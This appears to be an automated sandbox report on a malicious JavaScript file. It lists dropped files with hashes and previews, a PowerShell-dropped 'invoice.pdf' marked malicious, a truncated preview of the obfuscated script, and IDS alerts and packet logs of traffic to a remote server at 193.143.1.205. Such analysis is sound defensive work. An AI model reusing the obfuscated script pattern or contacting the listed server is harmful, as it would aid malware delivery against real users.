Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\f083056b-7f6b-4970-b2a8-51e7f14efd37.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:GqA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:5VB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A9C99A0DD153B23D2C4DC943CC1567B4
SHA1:	B7B59DEEA23EDB8F8868D28D6BD67B20B21AFC58
SHA-256:	2BAC328B0024285F5D0CC1407253D2C82EF65770FE5538FDB5863E05837D96D9
SHA-512:	27873463B8DEB439C9550A0BD0FF2E4E46B2B3B485839BA25FFB17825A13D43C35C8BDD93A3239D9FAC408FB69EC15CA7D458A4A3D9DAFB29E7622BEBFC8CDA0
Malicious:	false
Preview:	...........}.s.H....W`E.........M9h...q..p......%..!q.p....~..2......DlWtW!)?_.\|....?..?.s.w1.i..G...h6.]..y...p..m.b..N..rr..F..Xc...l.4.."..Q.... hL.p......s...x6..:.....x.~.6.Q..~......~b7..k.l......Yc.G[....hY3...C..n..\|.'6......i4f...,.."...O.b...x..,..jgc..bTn....,u.F..0......V.K,u..p....X.wAap...+.G..v....i.z...E.Rj8.a.r..<@.q.'...!.4..]...\|..3...-.2...`...4..i...w......$0D.....i./a......Z.]..e.mj..c}.?.....o......c...W..+....c...W...?8...n.......U..7..O........@....'...^.z..=.m....o.o<..~....... ...C{......w.m.h.-Q...6.(..uk/w!...Z..n.....p.U........T^w..[....1l...../i......0..1U\|}../xS}.q..B\|.......h>....S....g...A.s6.=.&....~.\.......-N.p...._.xex.....}.r..q$..<.S;l=. ..P..55;....[.}.T......d.p..vd'vl.].DN..o...................D...].......I}.t...D`?..n.A.zT..:@.`S5.K..,R....h...XzT....F..Xt...R...+N.....ee...P...F+C.....dq...r..5..aP.zY....c.f/..Pn...:f.>.Z..s.+.......7...O.C.#..6.....=.K.5{.%6,..Z.....DqZ.4....g-%.p..n...\

C:\Users\user\AppData\Local\Temp\acrocef_low\f1312d25-f183-4260-ac7b-cea8acb0de31.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (13859), with CRLF line terminators
Entropy (8bit):	4.952779648412969
TrID:
File name:	18444172742706830592.js
File size:	17'397 bytes
MD5:	975acda1d524990591c3173855f2347a
SHA1:	1b24403ca43f85c36d6dfceb277ebcaa08c2539c
SHA256:	b1380eb02efe324feddca977527c82a5f059d74b3b6efed1387dfcb4420ecc47
SHA512:	ea72f3f466f4bd67fdaf3e2853ad01d861d84ae8be23d9c69c09dc94888a69452af67bbadff200f3b946073383539a3347abe5251d64cf54f59668fb417ca703
SSDEEP:	384:Ey5MA9V3la45M8reUIWWqPDHkaHPk6Ktmx3G6ajuEwN5D:Ey5MA9V3la45M8reUIW9PDHkaxN3GuEw
TLSH:	F47231CC45C6C9794AC089F064AF8ECB46E4998DC248DDF64AC22981279AF63DFC5737
File Content Preview:	function hglxdnj(){axxnqcg=[1031,3079,5127,4103,2055,3072];var csdvsaqfe=this[uwtvabbgv+xbtdju+cbivfu+tzljiigi+mltxyefk+djsdk+ngkhp+iobig](this[xavtdzwq+tiitx+ibrswt+cbivfu+hndmeqvm+uwtvabbgv+iobig][pipcppoh+cbivfu+mltxyefk+xbtdju+iobig+mltxyefk+fycyv+xac

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-10T20:35:07.115449+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.8	49705	193.143.1.205	80	TCP
2025-01-10T20:35:09.739764+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.8	49706	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:35:06.311851025 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:06.316862106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:06.317084074 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:06.320626020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:06.325398922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.115374088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.115391970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.115402937 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.115448952 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.115483999 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.115506887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.115546942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.115556002 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.115571022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.115581036 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.115587950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.115592957 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.115593910 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.115639925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.120367050 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.169622898 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.169992924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.170007944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.170018911 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.170706987 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.215553045 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.239304066 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.239409924 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.239438057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.239449024 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.239497900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.239497900 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.239552021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.239563942 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.239574909 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.239623070 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.239990950 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.240015030 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.240026951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.240037918 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.240051031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.240077972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.240077972 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.240437984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.240744114 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.240756035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.240861893 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.240950108 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.241009951 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.241023064 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.241034031 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.241085052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.241085052 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.241112947 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.241864920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.241877079 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.241889000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.241941929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.241941929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.256474018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.293560028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.293576002 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.293591022 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.293602943 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.293674946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.293674946 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.326313019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.326328993 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.326505899 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.363290071 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.363320112 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.363337994 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.363349915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.363363028 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.363445044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.363445044 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.363694906 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.363708019 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.363718033 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.363729000 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.363740921 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.363751888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.363765001 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.363781929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.363781929 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.363879919 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.364387035 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.364408016 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.364490032 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.364557981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.364670992 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.364682913 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.364695072 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.364705086 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.364720106 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.364732981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.364773035 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.364773989 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.365458965 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.365478039 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.365489960 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.365500927 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.365510941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.365519047 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.365575075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.365575075 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.366162062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.366174936 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.366187096 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.366204977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.366213083 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.366216898 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.366228104 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.366240978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.366286039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.366286039 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.367022991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.367033958 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.367044926 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.367289066 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.380244970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.380260944 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.380280018 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.380292892 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.380381107 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.417332888 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.417351007 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.417366982 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.417381048 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.417398930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.417422056 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.417433977 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.417463064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.417463064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.417463064 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.449991941 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.450007915 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.450018883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.450031042 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.450045109 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.450068951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.450068951 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.487380981 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487399101 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487411976 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487426043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487453938 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487472057 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487483978 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487495899 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487508059 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487519979 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487535000 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.487564087 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.487936974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487948895 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487960100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487971067 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487982988 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.487992048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.487992048 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.487993956 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488006115 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488017082 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488029957 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488039017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.488039017 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.488076925 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.488720894 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488732100 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488744974 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488754034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488765955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488776922 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488787889 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488796949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.488796949 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.488800049 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488811970 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488823891 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488822937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.488837004 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488843918 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.488850117 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.488878012 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.488919020 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.489687920 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.489698887 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.489710093 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.489725113 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.489737034 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.489748955 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.489763021 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.489775896 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.489777088 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.489789009 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.489800930 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.489805937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.489805937 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.489814043 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.489829063 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.489840984 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.489895105 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.490530014 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.490573883 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.490608931 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.490727901 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.490739107 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.490752935 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.490763903 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.490776062 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.490778923 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.490787983 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.490799904 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.490813971 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.490828991 CET	80	49705	193.143.1.205	192.168.2.8
Jan 10, 2025 20:35:07.490838051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.490838051 CET	49705	80	192.168.2.8	193.143.1.205
Jan 10, 2025 20:35:07.490844011 CET	80	49705	193.143.1.205	192.168.2.8
